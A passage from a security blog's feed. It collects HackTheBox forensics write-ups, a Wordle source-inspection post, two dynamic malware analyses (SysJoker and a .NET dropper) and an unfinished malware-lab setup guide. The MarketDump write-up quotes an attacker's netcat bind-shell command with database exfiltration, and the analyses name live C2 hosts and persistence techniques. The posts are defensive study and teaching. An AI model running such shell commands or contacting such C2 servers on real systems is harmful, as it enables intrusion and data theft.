<p><img alt="" src="https://blog.ericturner.it/uploads/2022/03/image-16.webp"/></p> <p>Debug time</p> <p>However when running the shellcode, I get an access violation and it is crashing each time. So it still seems I am stuck here!</p>2022-02-25T16:12:10-05:002026-05-17T14:03:45.446862-04:00Eric Turnertag:blog.ericturner.it,2022-02-25:/2022/02/25/hackthebox-forensics-challenge-marketdump/

<p>Link: <a href="https://app.hackthebox.com/challenges/marketdump">https://app.hackthebox.com/challenges/marketdump</a></p> <p>This challenge provides us with a .zip that only contains a single MarketDump.pcapng file. The challenge description reads:</p> <blockquote> <p>We have got informed that a hacker managed to get into our internal network after pivoting through the web platform that runs in public …</p></blockquote>

<p>Link: <a href="https://app.hackthebox.com/challenges/marketdump">https://app.hackthebox.com/challenges/marketdump</a></p> <p>This challenge provides us with a .zip that only contains a single MarketDump.pcapng file. The challenge description reads:</p> <blockquote> <p>We have got informed that a hacker managed to get into our internal network after pivoting through the web platform that runs in public internet. He managed to bypass our small product stocks logging platform and then he got our costumer database file. We believe that only one of our costumers was targeted. Can you find out who the customer was?</p> <p>Challenge Description</p> </blockquote> <p>I opened up the .pcapng file in Wireshark, it has 2868 recorded packets. It appears the 10.0.2.15 IP appears to be the attacker in this case, and 10.0.2.3 must be the server that is running MySQL.</p> <p>Packet Capture Overview:</p> <ul> <li>The first 2000 or so packets just seem to be back and forth TCP calls with no real evidence of compromise. There was a server greeting from MySQL.</li> <li>After the first 2000 packets, the activity changes and we can see packets for SSH, MySQL and HTTP light up.</li> <li>By Packet 2104 a PSQL request for NT LANMAN appears.</li> <li>Packet 2172 shows a TCP segment of <code>random1random2random3random4</code></li> <li>Followed closely by a malformed DNS packet on 2181 that contains <code>krbtgt</code> in the payload. It appears the attacker is attempting to send malformed packets to get a golden ticket or gain access to the machine.</li> <li>Packet 2202 is a GET request for <code>/nice ports,/Trinity.txt.bak</code></li> <li>Packet 2242 is an OPTIONS request to port 53 of 10.0.2.3</li> <li>Packet 2296 contains segment data of NSPlayer 9.0.0.2 which is a typical User-Agent for the Windows Media Player Browser</li> <li>Packet 2305 contains <code>(CONNECT_DATA=(COMMAND=version))</code></li> <li>Packet 2314 contains <code>MSSQLServer</code></li> <li>Packet 2357 shows an nmap scripting engine GET request to <code>/nmaplowercheck1531136698</code></li> <li>Packet 2363 is a malformed packet containing <code>POST /sdk</code> with a <code>&lt;soap:Envelope&gt;... &lt;/soap:Envelope&gt;</code> body</li> <li>Packet 2366 is another <code>POST /sdk</code> with a similar body</li> <li>Packets 2368 &amp; 2370 are an initial Telnet connection that seems to go nowhere.</li> <li>Packet 2372, 2375, 2380 are a 400 Bad Requests</li> <li>Packet 2401, 10.0.2.15 reaches out to 10.0.2.3 with a <code>GET /HNAP1</code> with a Nmap Scripting Engine User-Agent</li> <li>Followed by several more Bad requests at 2404, 2408, 2410</li> <li>Packet 2413 returns a 404 Not found on 10.0.2.3 for <code>/sdk</code></li> <li>Packet 2415 returns a 404 Not found on 10.0.2.3 for <code>/nmaplowercheck1531136698</code></li> <li>Packet 2419 is a 200 OK which returns a HTML oage with #DataNET in the title</li> <li>Packet 2434 <code>GET /evox/about</code> from 10.0.2.15 to 10.0.2.3 (Bad Request)</li> <li>Packet 2452 checks /HNAP again (a vulnerability that can allow RCE), but it returns 404<ul> <li>These last few packets appear to be NMAP doing a scan to check for vulnerabilities</li> </ul> </li> <li>Packet 2482, 2484: 10.0.2.15 tries to log in to telnet on 10.0.2.3 but fails</li> <li>Packet 2459-2514 are ICMP ping packets</li> <li>Packet 2518 a HTTP request coming from User-Agent curl/7.60.0</li> <li>Packet 2526, DNS request for <code>A acid</code> which returns <code>192.168.0.24</code></li> <li>Packets 2531 - 2539, user tries to login to Telnet as admin:admin and fails</li> <li>Packet 2545, another DNS request for <code>A acid</code> whcih returns <code>192.168.0.24</code></li> <li>Packets 2555-2559, user tries to login to Telnet as admin:admin and <strong>SUCCEEDS</strong>.</li> <li>Packet 2563-2579: Telnet command ran to view stock/inventory</li> <li>Packet 2578, user logs back into telnet and immediately runs the stock command again</li> </ul> <pre><code class="language-bash">Welcome, admin Here is you're daily stock report! PRODUCT PRICE STOCK SHIRTS 20$ 50 JEANS 40$ 99 WALLETS 15$ 19 SOCKS 10$ 100 Type exit to exit the program: </code></pre> <ul> <li>Packet 2631, Telnet command ran <code>nc.traditional -lvp 9999 -e /bin/bash</code></li> <li>Packet 2633, reverse shell started and activity begins contact 10.0.2.3:9999<ul> <li>This is tcp.stream eq 1056</li> </ul> </li> </ul> <p>From here, I followed the TCP stream and the attacker:</p> <ul> <li>Ran <code>ls -la</code> to find two files: costumers.sql and login.sh</li> <li>Ran <code>pwd</code> to find they were in <code>/var/www/html/MarketDump</code></li> <li>Ran <code>whoami</code> to find they were <code>**root**</code> (Oh man)</li> <li>Ran <code>wc -l costumers.ql</code> for the wordcount of 10302</li> <li>Copied the sql file to <code>/tmp</code> and exfiltrated it via a Python web server on port 9998</li> <li>Ran <code>cat costumers.sql</code> to get an output of Credit Card Numbers<ul> <li>One of the customers has a card number that contains letters instead of just numbers, this is our compromised customer</li> </ul> </li> <li>The user then removed the costumers.sql file from /tmp and ran <code>exit</code></li> </ul> <p>Through trial and error, I found the unusual string from the database was base58 encoded. Decoding it from an online web tool nets us the flag.</p>2022-02-24T19:56:55-05:002026-05-17T14:03:45.447866-04:00Eric Turnertag:blog.ericturner.it,2022-02-24:/2022/02/24/hackthebox-forensics-challenge-reminiscent/

<p>Link: <a href="https://app.hackthebox.com/challenges/reminiscent">https://app.hackthebox.com/challenges/reminiscent</a></p> <p>Our unzipped folder gives us a <code>Resume.eml</code>, <code>imageinfo.txt</code> and <code>flounder-pc-memdump.elf</code> memory dump file.</p> <p>Let's check out the email message. I ran <code>cat Resume.eml</code> which nets us:</p> <pre><code>Return-Path: bloodworm@madlab.lcl Delivered-To: madlab.lcl-flounder@madlab.lcl Received: (qmail 2609 invoked …</code></pre>

<p>Link: <a href="https://app.hackthebox.com/challenges/reminiscent">https://app.hackthebox.com/challenges/reminiscent</a></p> <p>Our unzipped folder gives us a <code>Resume.eml</code>, <code>imageinfo.txt</code> and <code>flounder-pc-memdump.elf</code> memory dump file.</p> <p>Let's check out the email message. I ran <code>cat Resume.eml</code> which nets us:</p> <pre><code>Return-Path: bloodworm@madlab.lcl Delivered-To: madlab.lcl-flounder@madlab.lcl Received: (qmail 2609 invoked by uid 105); 3 Oct 2017 02:30:24 -0000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="=_a8ebc8b42c157d88c1096632aeae0559" Date: Mon, 02 Oct 2017 22:30:24 -0400 From: Brian Loodworm bloodworm@madlab.lcl To: flounder@madlab.lcl Subject: Resume Organization: HackTheBox Message-ID: add77ed2ac38c3ab639246956c25b2c2@madlab.lcl X-Sender: bloodworm@madlab.lcl Received: from mail.madlab.lcl (HELO mail.madlab.lcl) (127.0.0.1) by mail.madlab.lcl (qpsmtpd/0.96) with ESMTPSA (ECDHE-RSA-AES256-GCM-SHA384 encrypted); Mon, 02 Oct 2017 22:30:24 -0400 --=_a8ebc8b42c157d88c1096632aeae0559 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII Hi Frank, someone told me you would be great to review my resume.. Could you have a look? resume.zip [1] Links: [1] http://10.10.99.55:8080/resume.zip </code></pre> <p>We can see a link to a zip file on a remote server from the email. It is named <code>resume</code> but the extension is a <code>.zip</code> instead of a <code>.docx</code> or <code>.pdf</code> which should have been the first indicator to leave the attachment alone.</p> <p>Next inside our package was an <code>imageinfo.txt</code> that provides information on the <code>flounder-pc-memdump.elf</code> memory file:</p> <pre><code class="language-bash"> Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418 AS Layer1 : WindowsAMD64PagedMemory (Kernel AS) AS Layer2 : VirtualBoxCoreDumpElf64 (Unnamed AS) AS Layer3 : FileAddressSpace (/home/infosec/dumps/mem_dumps/01/flounder-pc-memdump.elf) PAE type : No PAE DTB : 0x187000L KDBG : 0xf800027fe0a0L Number of Processors : 2 Image Type (Service Pack) : 1 KPCR for CPU 0 : 0xfffff800027ffd00L KPCR for CPU 1 : 0xfffff880009eb000L KUSER_SHARED_DATA : 0xfffff78000000000L Image date and time : 2017-10-04 18:07:30 UTC+0000 Image local date and time : 2017-10-04 11:07:30 -0700 </code></pre> <p>We can use the Volatility framework to investigate this file.</p> <pre><code class="language-bash"># view running processes $ vol.py pslist --profile=Win7SP1x64 -f flounder-pc-memdump.elf </code></pre> <p>We see two powershell.exe processes running from the above command. One at 496 and one at 2752.</p> <pre><code class="language-bash"># scan the active network connections $ vol.py netscan --profile=Win7SP1x64 -f flounder-pc-memdump.elf ... 0x1fc04010 TCPv6 -:0 6890:8300:80fa:ffff:6890:8300:80fa:ffff:0 CLOSED 2752 powershell.exe 0x1fc04490 TCPv4 10.10.100.43:49246 10.10.99.55:80 CLOSED 2752 powershell.exe 0x1fc15010 TCPv6 ::1:2869 ::1:49237 ESTABLISHED 4 System 0x1fc3d320 TCPv4 10.10.100.43:49247 10.10.99.55:80 CLOSED 2752 powershell.exe </code></pre> <p>We can see a few closed connections to the same IP that the file was downloaded from on the PID 2752, powershell.exe process.</p> <pre><code class="language-bash"># search for resume files open $ vol.py filescan --profile=Win7SP1x64 -f flounder-pc-memdump.elf | grep resume Volatility Foundation Volatility Framework 2.6.1 0x000000001e1f6200 1 0 R--r-- \Device\HarddiskVolume2\Users\user\Desktop\resume.pdf.lnk 0x000000001e8feb70 1 1 R--rw- \Device\HarddiskVolume2\Users\user\Desktop\resume.pdf.lnk </code></pre> <p>We do have two files open, lets dump the files and see what we can derive from them:</p> <pre><code class="language-bash"># dump files at the specified offset to the current directory $ vol.py dumpfiles --profile=Win7SP1x64 -f flounder-pc-memdump.elf -Q 0x000000001e8feb70 -D . </code></pre> <p>We can use <code>strings</code> on the files and a bunch of base64 appears. I threw the output into cyberchef and it returns a command with period delimitation and another base64 string:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/02/image.webp"/></p> <p>from base64</p> <p>After a quick google search, the period can be a sign of UTF-16(LE) encoding, according to <a href="https://stackoverflow.com/questions/27929032/why-is-unicode-stored-with-periods-in-between-characters">this StackOverflow post</a>. So, if we pass this through a Decode Text - UTF-16LE (1200) module, it removes the periods and we can copy the new base64 string and paste it.</p> <p>After decoding the new string, we see the actual powershell code. Down near the very bottom is a $flag variable with our flag.</p>2022-01-31T15:20:01-05:002026-05-17T14:03:45.472939-04:00Eric Turnertag:blog.ericturner.it,2022-01-31:/2022/01/31/wordle-reversed/

<p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-30.webp"/></p> <p>Wordle Share Grid</p> <p>I've been seeing posts for this wordle game on my facebook, and it seems to be alight on Twitter as well. I decided to try the game today and was able to get it on my fourth try! It was pretty fun. But, I wanted to see …</p>

<p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-30.webp"/></p> <p>Wordle Share Grid</p> <p>I've been seeing posts for this wordle game on my facebook, and it seems to be alight on Twitter as well. I decided to try the game today and was able to get it on my fourth try! It was pretty fun. But, I wanted to see if there was an easier way to determine the word just for fun.</p> <p>Inspecting the network requests when entering a guess showed no activity. Which means the correct word must be already cached locally and isn't hitting a server for validation.</p> <p>Doing some source code viewing, there is a word hash at the top along with the main.js:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-31.webp"/></p> <p>Source Code</p> <p>Browsing the sourcecode, there are several thousand lines of code. Most importantly are two arrays <code>La</code>, and <code>Ta</code>. <code>Ta</code> appears to be all the valid words in alphabetical order. <code>La</code> appears to be all words in game order.</p> <p>Wordle chooses a new word every day, the offset is based off of its date of creation, June 19, 2021. On mine above you can see 226. There are 2315 words available which is enough to go through 2027.</p> <p>If you copy the full <code>La</code> array to the console and access the 226th item, you get today's answer:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-32.webp"/></p> <p>Answers for today and tomorrow</p> <p>I manually set my date time to tomorrow on my linux VM and tested 227s word and sure enough it confirmed that <code>var La</code> is the answers for each day:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-33.webp"/></p> <p>neat</p> <p>And now my share screen is the following for tomorrow: </p> <p>Wordle 227 1/6</p> <p>🟩🟩🟩🟩🟩</p> <p>It's a simple game that is fun for many online, and I was definitely surprised all of the answers were stored plain text in an array like that. Very interesting!</p>2022-01-12T20:27:12-05:002026-05-26T16:38:42.086632-04:00Eric Turnertag:blog.ericturner.it,2022-01-12:/2022/01/12/malware-analysis-2/

<p>SHA256 Hash: 1ffd6559d21470c40dcf9236da51e5823d7ad58c93502279871c3fe7718c901c</p> <p>I searched the daily list of MalShare.com and pulled a random hash for investigation today, downloaded through my REMnux box and then used a Python web server to pull it onto my Windows box, since my windows vm has no internet connection.</p> <h1 id="static-analysis">Static Analysis</h1> <p>I renamed …</p>

<p>SHA256 Hash: 1ffd6559d21470c40dcf9236da51e5823d7ad58c93502279871c3fe7718c901c</p> <p>I searched the daily list of MalShare.com and pulled a random hash for investigation today, downloaded through my REMnux box and then used a Python web server to pull it onto my Windows box, since my windows vm has no internet connection.</p> <h1 id="static-analysis">Static Analysis</h1> <p>I renamed the file (which was just named after the sha256 hash) to m2.exe. I imported this into peID and received a <code>Nothing Found *</code> message which indicates it could be obfuscated.</p> <p>Next I imported this into peStudio, and one of the IOCs it is highlighting is the use of the winhttp.dll library along with function calls over HTTP.</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-20.webp"/></p> <p>This screenshot shows some functions including ShellExecute and WinHTTP calls for opening and sending web requests</p> <p>Further metadata about the file reveals the file is trying to mask itself as being from the Intel Corporation:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-21.webp"/></p> <p>Version Information</p> <p>My current suspicion is that this is a trojan dropper. It has some code already like in our Malware Analysis #1, and will try to make a call home to fetch further code that can be executed by the ShellExecute. Once again, all traffic is routed through my REMnux box so it will never actually be able to call home.</p> <p>I tried loading the file into dotPeek but it is unable to do anything with it.</p> <h1 id="dynamic-analysis">Dynamic Analysis</h1> <p>I have my REMnux box fired up and ready to monitor calls. On windows I fired up procmon and ProcessHacker. I also used Regshot to take a before capture of our registry.</p> <p>After running it, it took over a minute before I noticed any activity. Eventually a new folder named PS_Transcripts appeared on the desktop and inside was a file with this in it:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-22.webp"/></p> <p>It copied the original file to C:\ProgramData\SystemData\igfxCUIService.exe, so it is trying to pretend to be an actual Intel executable. It then spawns a new Process from this new file named igfxCUIService.exe, instead of my original m2.exe. Periodically I will see a sub-process for Powershell or CMD execute in Process Hacker that turns red for about 5 seconds then disappears:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-23.webp"/></p> <p>A subprocess it spawns</p> <p>In the new SystemData folder, there is a new file named microsoft_Windows.dll that is only 1 kb. I've noticed some TLS calls in wireshark to drive.google.com. I cannot prove at this time it's this process calling it, but I have nothing else on the computer that would need to make a connection to Google Drive.</p> <p>Every two minutes or so a new file has dropped in the PS_Transcripts folder. It seems to be trying to exfiltrate data about my machine such as wmic data and environment variables to temp files. I'm watching the SystemData folder in an open Explorer and they never seem to actually appear. My guess is they maybe drop there for a second, try to exfiltrate then are deleted.</p> <p>It's been probably 10 minutes. I decided to kill the process in Process Hacker and I waited another minute just to see if it would try to auto-launch itself back up or not. So far it appears it is down. The calls to drive.google.com have stopped since killing the application as well.</p> <p>I sent my wireshark PCAP file over to the windows box along with the procmon file (be sure to change some of the settings before exporting to csv. See the README.md for procmon for more info).</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-25.webp"/></p> <p>Oh boy</p> <h2 id="overview">Overview</h2> <ul> <li>m2.exe creates new thread (2376) and writes data to file in C:\Windows\rescache<ul> <li>Like in Malware Analysis #1, this thread sets a bunch of registry keys in \HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap relating to internet options</li> <li>It sets an autostart registry key to powershell.exe</li> </ul> </li> <li>Several Powershell.exe threads appear running different things<ul> <li>One creates a powershell script file in the %TEMP% folder</li> <li>Another creates the first logfile I saw and then sets the Internet Settings keys again in the registry before cloning itself to igfxCUIservice.exe, which we also saw.</li> </ul> </li> <li>The igfxCUIService.exe just continually creates new powershell scripts, spawns powershell, runs the script, deletes the script and usually dumps some sort of temp file in the SystemData folder which then also gets deleted shortly after.</li> <li>It does create the microsoft_Windows.dll file as well</li> <li>It finally spawns a cmd.exe that creates an autostart registry key for igxCUIService.exe</li> <li>Interestingly, it tries sending traffic to win1710.ipv6.microsoft.com:443</li> <li>svchost.exe does a bunch of queries on stuff related to the original m2.exe file</li> <li>System.exe is also shown sending data to the same microsoft address.</li> </ul> <h1 id="internet-search_1">Internet Search</h1> <p>I finally decided to search the hash here on VirusTotal, and found the community is referring to this as SysJoker. One step I missed was monitoring the memory. The application was writing those temp files then storing the contents in memory, that's why it was able to write, read and delete them.</p> <p>Also inside the binary was a hardcoded XOR key which would have allowed me to decode the exact endpoint it was trying to reach. It was in fact trying to reach google drive in order to download a file that contained the IP of the C2 server. It was also programmed to randomly wait between 90-120 seconds before doing it's next command, which I noticed with the log files being spaced out.</p> <p>Since I had my internet proxied so it could not have actually reached its endpoint, I found a fantastic article that shows further steps along with the XOR key and more <a href="https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/">here</a>.</p> <p>When they performed the analysis, it seemed the malware was lying dormant and was not actually issued any commands from the C2 server to actually activate. The server had the ability to receive a callback to see if the executed commands were successful or not. This malware also works on linux and MacOS, where it is virtually undetectable by Virus Scanners.</p> <h1 id="further-analysis">Further Analysis</h1> <p>After browsing through that link, I opened the igfxCUIService.exe file with CFF Explorer and found the XOR key and path:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-26.webp"/></p> <p>Code</p> <p>To get the code over to my linux box to decode, I outputted the ascii to text and then used the following command:</p> <pre><code class="language-bash">pscp C:\ProgramData\SystemData\xor.txt remnux@10.10.2.2:/home/remnux/Downloads/xor.txt </code></pre> <p>I did this for both files, then booted up CyberChef to perform the operation:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-27.webp"/></p> <p>Decoded!</p> <p>The string was originally base64 (notice the == at the end is usually a giveaway). By decoding this first, then performing the XOR operation with the key, it reveals the google drive link!</p> <p>Downloading the file through curl, I received another base64 string that I popped into CyberChef and got the following JSON:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-28.webp"/></p> <p>Our C2 domain</p> <p>The domain is registered, however I receive a 500 error for GET or POST requests.</p> <p>If we try a PUT request, we get a Laravel error message:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-29.webp"/></p> <p>Laravel error, 405 Method Not Allowed</p> <p>So know we know this C2 server is running Laravel PHP to listen for requests.</p> <p>I tried sending some sort of POST with JSON of fake mac address, IP, av, and os to see if it would respond but it still hangs on a 500 error so there appears to be a misconfiguration and it isn't going to respond at all.</p> <h1 id="conclusion">Conclusion</h1> <p>I've done more research into volatility and dumping memory from VirtualBox, i will try to implement that in a future malware analysis. I also need to figure out if I can allow certain domains as a pass-thru in my linux box. That way, in this case, the malware could reach drive.google.com but then not be able to actually proceed and contact the C2 server.</p>2022-01-11T16:04:25-05:002026-05-26T16:38:43.388114-04:00Eric Turnertag:blog.ericturner.it,2022-01-11:/2022/01/11/malware-analysis-1/

<p>See <a href="https://blog.ericturner.it/2022/01/10/malware-analysis-lab/">here</a> on my post on creating your own Malware Analysis lab!</p> <p>I created an account on <a href="https://virusshare.com/">VirusShare</a> to download some malware samples. I downloaded the first one so let's dive in and see what we can discover!</p> <p>The SHA256 for my download was: <code>2db4caf14befbe99a9cf51ed7f7c3cade9df666c45579baaffc9e5a53c0b773c</code>.</p> <ul> <li>I downloaded the zip and …</li></ul>

<p>See <a href="https://blog.ericturner.it/2022/01/10/malware-analysis-lab/">here</a> on my post on creating your own Malware Analysis lab!</p> <p>I created an account on <a href="https://virusshare.com/">VirusShare</a> to download some malware samples. I downloaded the first one so let's dive in and see what we can discover!</p> <p>The SHA256 for my download was: <code>2db4caf14befbe99a9cf51ed7f7c3cade9df666c45579baaffc9e5a53c0b773c</code>.</p> <ul> <li>I downloaded the zip and compared the sha256 hash once downloaded to confirm it matches.</li> <li>Next, I booted up a python webserver to transfer this over to my Windows testing machine.</li> <li>Unzip the zip file and I renamed the file to <code>hmm.exe</code></li> <li>Start up a procmon on my local windows machine and Wireshark on my REMnux box. I already have the networking configured for DNS and returning web services (see my blog post in the link at the top of this one for more info)</li> </ul> <h1 id="static-analysis">Static Analysis</h1> <p>Before I go all willy-nilly and just boot the executable up, let's see what we can determine from it statically. I opened the file with <code>pestudio</code>. The initial indicators tab throws up some immediate flags:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-13.webp"/></p> <p>indicators tab</p> <p>Looking in the strings column, we can see several long base64 encoded strings to avoid detection.</p> <p>Next I analyzed the file with peID to determine how the file was packed / compiled and saw the following:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-14.webp"/></p> <p>Basic .NET 32-bit application</p> <p>With this in mind, I booted up dotPeek by JetBrains and navigated to the Root Namespace we have for C# source code files that are randomly named and the functions / strings inside these files are also obfuscated:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-15.webp"/></p> <p>odd naming convention for files</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-16.webp"/></p> <p>Snippet of one of the files, note many of the variables have random strings.</p> <p>Inside of zcom.Resources, there are two base64 strings. The first one appears to be more source code. The second one returned random chinese characters so it wasn't useful to read but I am sure it gets shuffled around with the code in order to become legible again:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-17.webp"/></p> <h1 id="dynamic-analysis">Dynamic Analysis</h1> <p>Let's go ahead and run this file and see what it does. I have a clean Wireshark open on my REMnux box, and procmon and ProcessHacker open on the Windows box.</p> <p>Immediately upon launching, we get a new tmp8CA2.tmp.exe launch in Process Hacker. This is located in <code>%TEMP%</code> and has a date modified of 2/16/2007 12:00 AM. I also noticed another System.Web.exe in this folder with the same date and time, so it could be a clone.</p> <p>My DNS server captures a few DNS records as well:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-18.webp"/></p> <p>DNS records</p> <p>Wireshark has lit up, this process is sending tons of packets. One of which, is trying to get an <code>IP.php</code> from one of the urls we saw:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/image-19.webp"/></p> <p>Web Request</p> <p>It seems to have hung on this point, continually trying to download the IP.php file that it cannot actually reach. I tried to see if I could cURL or wget the file myself but both webservers were down. I killed the process at this point, turned off Wireshark and Procmon capture and now let's save the output from wireshark and procmon.</p> <p><strong>We need to ensure the procmon file is exported with no Sequence ID and Thread ID is included. Also check All Events when saving.</strong> See <a href="https://www.aldeid.com/wiki/ProcDOT#Procmon_export">here</a> for more info. I also saved the wireshark file as a wireshark/tcpdump pcap file instead of pcapng. Use wget on windows and python web server on linux to send the file over.</p> <p>Booting up procdot, load the procmon log file into Procmon and wireshark pcap into Windump.</p> <h2 id="procmon-analysis">Procmon Analysis</h2> <p>The only call made to bejnz.com was a GET /IP.php, which in our case the application always received a dummy PHP. It also tried doing the same from rwkeith.no-ip.org, probably a mirror site. Both URLs were offline so not exactly sure what that endpoint did.</p> <p>The graph is far too long to display here, so I will just use bullet points to describe the general flow</p> <ul> <li>Thread 3340, process "hmm.exe" creates several files such as zCom.resources, tmp8CA2.tmp, dncrnse9.tmp, dncrnse9.0.vb, dncrnse9.cmdline</li> <li>Next it creates a new process, "vbc.exe", PID 4504</li> <li>PID 4504, "vbc.exe"<ul> <li>creates a new process "conhost.exe", which writes and deletes several temp files.</li> <li>It spawns a cvtres.exe which is used to compile resource files into compiled objects. This data is written out to the tmp8CA2.tmp.exe, it also writes a bunch of data to dncmse9.out</li> <li>then deletes its own process and all the temp files created from the initial "hmm.exe"</li> </ul> </li> <li>Back to 3340, "hmm.exe", The process sets some registry keys:<ul> <li>The following are located in HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\<ul> <li>ProxyBypass to 1</li> <li>IntranetName to 1</li> <li>UNCAsIntranet to 1</li> <li>AutoDetect to 0</li> </ul> </li> </ul> </li> <li>PID 2772 "Explorer.EXE" sets a registry key AppID to the full path of "hmm.exe"</li> <li> <p>PID 3624 launches the "tmp8CA2.tmp.exe" executable that was created from "vbc.exe",</p> <ul> <li> <p>it's first action is to delete "hmm.exe" off of my desktop. It then creates System.Web.exe in the same %TEMP% directory and sets an autostart registry key aspnet_state_perf to this executable.</p> </li> <li> <p>More registry keys:</p> <ul> <li>HKLM\SOFTWARE\WOW6432Node\Microsoft\Tracing\tmp8CA2_RASAPI32\<ul> <li>EnableAutoFileTracing to 0</li> <li>EnableFileTracing to 0</li> <li>EnableConsoleTracing to 0</li> <li>FileTracingMask to 4294901760</li> <li>ConsoleTracingMask to 4294901760</li> <li>MaxFileSize to 1048576</li> <li>FileDirectory to %windir%\tracing</li> </ul> </li> <li>It queries the above keys several times</li> </ul> </li> <li>Now we start the network requests.<ul> <li>rwkeithno-ip.org (dead URL)<ul> <li>HTTP request for /IP.php</li> <li>It also sends a bunch of TCP requests to port 127</li> <li>And ICMP packets with <code>abcdefghijklmnopqrstuvwabcdefghi</code> in the data</li> </ul> </li> </ul> </li> </ul> </li> </ul> <h1 id="conclusions_1">Conclusions</h1> <p>With the URLs it tries to access being either dead or useless, this file is <em>mostly</em> harmless, <strong>in its current state</strong>. It appears to be a Trojan / Backdoor Dropper where it unpacks itself to an alternate location, deletes the original file and then sets itself to autorun on startup through the registry. Here's the caveat: If the bejnz or rwkeith servers ever come back up with that requested IP.php it would basically activate and take control of every machine that has been lying dormant with this trojan, as it constantly tries to connect to those servers.</p> <p>We can alsorun the SHA256sum through <a href="https://www.virustotal.com/gui/file/2db4caf14befbe99a9cf51ed7f7c3cade9df666c45579baaffc9e5a53c0b773c/relations">VirusTotal</a> which provides essentially all the same information we just discovered through our own analysis (in reality, this is the first step you should take, but I already knew from the get go that it was malware).</p> <p>Now it's time to reset our windows box back to our last good snapshot and prepare for the next analysis!</p>2022-01-10T18:30:58-05:002026-05-17T14:03:45.454876-04:00Eric Turnertag:blog.ericturner.it,2022-01-10:/2022/01/10/malware-analysis-lab/

<p>I decided to try and get into my own malware analysis, but I needed to create my own lab for safe testing. I wanted to outline how I set mine up.</p> <p>Update 2 Mar 2022: I migrated from VirtualBox to Parallels 16 and I get MUCH better performance, even when …</p>

<p>I decided to try and get into my own malware analysis, but I needed to create my own lab for safe testing. I wanted to outline how I set mine up.</p> <p>Update 2 Mar 2022: I migrated from VirtualBox to Parallels 16 and I get MUCH better performance, even when running both boxes simultaneously. Windows 10 is WAY more fluid and my resource utilization is way down. I am considering upgrading to a new M1 Mac, and Parallels 17 + Windows 11 ARM is the only virtualization software available so this is my test run with Parallels as a hypervisor.</p> <h1 id="quick-overview">Quick Overview</h1> <ul> <li>Main Device: MacBook Pro 2017<ul> <li>Intel i7 2.9 GHz Quad-Core Processor</li> <li>16GB 2133 MHz LPDDR3 RAM</li> <li>Radeon Pro 560 4 GB Graphics</li> <li>500 GB internal SSD, 1TB external Samsung SSD (<a href="https://www.samsung.com/us/computing/memory-storage/portable-solid-state-drives/portable-ssd-t7-usb-3-2-1tb--gray--mu-pc1t0t-am/">MU-PC1T0T</a>)</li> </ul> </li> <li>Parallels Virtual Machines<ul> <li>Linux Box running <a href="https://docs.remnux.org/">REMnux v7</a> (Ubuntu v20.04.3 LTS)<ul> <li>4096 MB RAM</li> <li>128 MB VRAM</li> <li>50GB VDisk on the external SSD</li> <li>2 Network Adapters<ul> <li>One adapter configured with static IP of <code>10.10.2.2</code> (private network. no internet)</li> <li>One adapter using Shared Network (DHCP) for internet access</li> </ul> </li> </ul> </li> <li>Windows Box running un-activated Windows 10 Pro<ul> <li>4096 MB RAM</li> <li>128 MB VRAM</li> <li>50GB VDisk on the external SSD</li> <li>1 Network Adapter<ul> <li>Configured with static IP of <code>10.10.2.3</code>, default gateway and DNS set to go back to REMnux box of <code>10.10.2.2</code></li> </ul> </li> </ul> </li> </ul> </li> </ul> <h1 id="setup">Setup</h1> <h2 id="vm-setup-phase-1">VM Setup - Phase 1</h2> <ol> <li>Create a new virtualbox VM. Download the .ova file from REMnux <a href="https://docs.remnux.org/install-distro/get-virtual-appliance">here</a> and install.</li> <li>Run <code>remnux upgrade</code> and waited a while to ensure it was all up-to-date. I also ran <code>sudo apt-get update &amp;&amp; sudo apt-get upgrade</code> just to be sure.</li> <li>Shut down the VM and make a snapshot of latest patches</li> <li>Create a second virtualbox VM for windows. I downloaded a fresh .iso from Microsoft <a href="https://www.microsoft.com/en-us/software-download/windows10ISO">here</a> and went through the setup. I provided it a key for Windows 10 Pro I found even though I had no actual intentions of activating.</li> <li>Download and install flare-vm tools from <a href="https://github.com/mandiant/flare-vm">here</a>. Wait for it to install then shutdown and save a snapshot</li> </ol> <h2 id="network-setup">Network Setup</h2> <p>Now it's time for the network setup to get these two boxes communicating with each other.</p> <p>In VirtualBox, add a new network adapter to both machines like so:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2022/01/adapter.webp"/></p> <p>New Adapter</p> <p>Make sure the name matches.</p> <h3 id="remnux-network-setup">REMnux Network Setup</h3> <p>REMnux uses <code>netplan</code> for configuration. After adding the new adapter in the previous step, boot the VM back up and run <code>ifconfig</code>. There will be two <code>enp0s#</code> adapters, one of which will have an IP and the second doesn't have anything. For me, they were <code>enp0s3</code> and <code>enp0s8</code>.</p> <p>Run 